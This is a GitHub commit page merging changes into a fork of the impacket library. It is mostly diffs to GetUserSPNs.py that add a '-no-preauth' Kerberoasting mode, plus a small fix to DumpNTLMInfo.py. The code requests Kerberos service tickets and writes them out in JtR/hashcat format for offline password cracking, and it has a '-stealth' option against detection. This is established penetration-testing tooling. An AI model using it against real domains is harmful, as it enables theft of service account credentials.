Skip to content

Commit

Permalink
Merge branch 'master' of github.com:Pennyw0rth/impacket into fortra/m…
Browse files Browse the repository at this point in the history
…aster
  • Loading branch information
Marshall-Hallenbeck committed Mar 5, 2024
2 parents 76a18f1 + 33058eb commit 5063ad5
Show file tree
Hide file tree
Showing 18 changed files with 1,691 additions and 257 deletions.
2 changes: 1 addition & 1 deletion examples/DumpNTLMInfo.py
Original file line number Diff line number Diff line change
Expand Up @@ -253,6 +253,7 @@ def _createSessionSetupRequest(self):
return sessionSetup

def _wrapper(self, sessionResponse):
sessionResponse['SecurityMode'] = 0x0
sessionResponse['DialectRevision'] = SMB_DIALECT
if self._dialects_parameters['SecurityMode'] & SMB.SECURITY_SIGNATURES_ENABLED:
sessionResponse['SecurityMode'] = SMB2_NEGOTIATE_SIGNING_ENABLED
Expand Down Expand Up @@ -661,4 +662,3 @@ def __convert_size(self, size_bytes):
import traceback
traceback.print_exc()
logging.error(str(e))

87 changes: 59 additions & 28 deletions examples/GetUserSPNs.py
Original file line number Diff line number Diff line change
Expand Up @@ -43,7 +43,7 @@
from impacket.examples import logger
from impacket.examples.utils import parse_credentials
from impacket.krb5 import constants
from impacket.krb5.asn1 import TGS_REP
from impacket.krb5.asn1 import TGS_REP, AS_REP
from impacket.krb5.ccache import CCache
from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS
from impacket.krb5.types import Principal
Expand Down Expand Up @@ -78,6 +78,7 @@ def __init__(self, username, password, user_domain, target_domain, cmdLineOption
self.__targetDomain = target_domain
self.__lmhash = ''
self.__nthash = ''
self.__no_preauth = cmdLineOptions.no_preauth
self.__outputFileName = cmdLineOptions.outputfile
self.__usersFile = cmdLineOptions.usersfile
self.__aesKey = cmdLineOptions.aesKey
Expand Down Expand Up @@ -173,9 +174,11 @@ def getTGT(self):

return TGT

def outputTGS(self, tgs, oldSessionKey, sessionKey, username, spn, fd=None):
decodedTGS = decoder.decode(tgs, asn1Spec=TGS_REP())[0]

def outputTGS(self, ticket, oldSessionKey, sessionKey, username, spn, fd=None):
if self.__no_preauth:
decodedTGS = decoder.decode(ticket, asn1Spec=AS_REP())[0]
else:
decodedTGS = decoder.decode(ticket, asn1Spec=TGS_REP())[0]
# According to RFC4757 (RC4-HMAC) the cipher part is like:
# struct EDATA {
# struct HEADER {
Expand Down Expand Up @@ -240,7 +243,7 @@ def outputTGS(self, tgs, oldSessionKey, sessionKey, username, spn, fd=None):
logging.debug('About to save TGS for %s' % username)
ccache = CCache()
try:
ccache.fromTGS(tgs, oldSessionKey, sessionKey)
ccache.fromTGS(ticket, oldSessionKey, sessionKey)
ccache.saveFile('%s.ccache' % username)
except Exception as e:
logging.error(str(e))
Expand Down Expand Up @@ -428,31 +431,52 @@ def request_users_file_TGSs(self):
self.request_multiple_TGSs(usernames)

def request_multiple_TGSs(self, usernames):
# Get a TGT for the current user
TGT = self.getTGT()

if self.__outputFileName is not None:
fd = open(self.__outputFileName, 'w+')
else:
fd = None

for username in usernames:
try:
principalName = Principal()
principalName.type = constants.PrincipalNameType.NT_ENTERPRISE.value
principalName.components = [username]

tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(principalName, self.__domain,
self.__kdcIP,
TGT['KDC_REP'], TGT['cipher'],
TGT['sessionKey'])
self.outputTGS(tgs, oldSessionKey, sessionKey, username, username, fd)
except Exception as e:
logging.debug("Exception:", exc_info=True)
logging.error('Principal: %s - %s' % (username, str(e)))

if fd is not None:
fd.close()

if self.__no_preauth:
for username in usernames:
try:
no_preauth_pincipal = Principal(self.__no_preauth, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(clientName=no_preauth_pincipal,
password=self.__password,
domain=self.__domain,
lmhash=(self.__lmhash),
nthash=(self.__nthash),
aesKey=self.__aesKey,
kdcHost=self.__kdcHost,
serverName=username,
kerberoast_no_preauth=True)
self.outputTGS(tgt, oldSessionKey, sessionKey, username, username, fd)
except Exception as e:
logging.debug("Exception:", exc_info=True)
logging.error('Principal: %s - %s' % (username, str(e)))

if fd is not None:
fd.close()
else:
# Get a TGT for the current user
TGT = self.getTGT()

for username in usernames:
try:
principalName = Principal()
principalName.type = constants.PrincipalNameType.NT_ENTERPRISE.value
principalName.components = [username]

tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(principalName, self.__domain,
self.__kdcIP,
TGT['KDC_REP'], TGT['cipher'],
TGT['sessionKey'])
self.outputTGS(tgs, oldSessionKey, sessionKey, username, username, fd)
except Exception as e:
logging.debug("Exception:", exc_info=True)
logging.error('Principal: %s - %s' % (username, str(e)))

if fd is not None:
fd.close()


# Process command-line arguments.
Expand All @@ -466,6 +490,8 @@ def request_multiple_TGSs(self, usernames):
parser.add_argument('-target-domain', action='store',
help='Domain to query/request if different than the domain of the user. '
'Allows for Kerberoasting across trusts.')
parser.add_argument('-no-preauth', action='store', help='account that does not require preauth, to obtain Service Ticket'
' through the AS')
parser.add_argument('-stealth', action='store_true', help='Removes the (servicePrincipalName=*) filter from the LDAP query for added stealth. '
'May cause huge memory consumption / errors on large domains.')
parser.add_argument('-usersfile', help='File with user per line to test')
Expand All @@ -476,8 +502,8 @@ def request_multiple_TGSs(self, usernames):
parser.add_argument('-save', action='store_true', default=False, help='Saves TGS requested to disk. Format is '
'<username>.ccache. Auto selects -request')
parser.add_argument('-outputfile', action='store',
help='Output filename to write ciphers in JtR/hashcat format')
parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output')
help='Output filename to write ciphers in JtR/hashcat format. Auto selects -request')
parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output.')
parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')

group = parser.add_argument_group('authentication')
Expand Down Expand Up @@ -510,6 +536,11 @@ def request_multiple_TGSs(self, usernames):
# Init the example's logger theme
logger.init(options.ts)

if options.no_preauth and options.usersfile is None:
logging.error('You have to specify -usersfile when -no-preauth is supplied. Usersfile must contain'
' a list of SPNs and/or sAMAccountNames to Kerberoast.')
sys.exit(1)

if options.debug is True:
logging.getLogger().setLevel(logging.DEBUG)
# Print the Library's installation path
Expand Down
Loading

0 comments on commit 5063ad5

Please sign in to comment.